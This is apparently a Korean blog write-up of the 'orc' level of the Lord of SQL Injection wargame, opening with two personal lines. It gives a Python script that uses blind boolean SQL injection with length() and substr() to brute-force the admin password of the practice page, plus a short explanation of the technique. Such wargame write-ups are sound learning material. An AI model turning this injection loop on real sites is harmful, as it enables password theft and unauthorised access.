휴가 나가고 싶다
보고싶어 미치겠다
import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
header = {'Cookie': 'PHPSESSID='}
session = requests.session()
# Check Length of PW
for i in range(0, 100):
payload = "pw=ABCD' or id='admin' and length(pw)=" + "'" + str(i)
res = session.get(url = org_url + payload, headers=header, verify=False)
if "Hello admin" in res.text:
print("Length of PW is [ %d ]\n" % i)
break
# Brute Force
password = ''
for i in range(1, 9):
for j in range(33, 122):
payload = "?pw=ABCD' or id='admin' and substr(pw," + str(i) + ", 1)=" + "'" + chr(j)
res = session.get(url = org_url + payload, headers = header, verify=False)
if "Hello admin" in res.text:
password += chr(j)
print("Current PW is [ %s ]\n" % password)
break
# Result
print("\n\nPW --> %s\n" % password)
requests 모듈을 사용하였다.
MySQL 언어에서의 length() 함수와 substr() 함수를 이용하여 admin 계정의 비밀번호 길이를 먼저 유추한 후에 Brute Force 공격으로 비밀번호를 얻어냈다.
or 연산은 한 쪽만 참값이 되어도 결과값이 참이라는 것을 잊지 아니하고 있으면 된다.
또한 전체 query 문이 참일 경우에 'Hello admin'이라는 문자열을 출력한다는 점을 이용하여 힌트를 제공받는다고 생각하면 된다.
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection(LOS) - vampire (0) | 2021.08.07 |
---|---|
Lord of SQL Injection(LOS) - troll (1) | 2021.08.07 |
Lord of SQL Injection(LOS) - orge (0) | 2021.08.07 |
Lord of SQL Injection(LOS) - darkelf (0) | 2021.08.07 |
Lord of SQL Injection(LOS) - wolfman (0) | 2021.08.07 |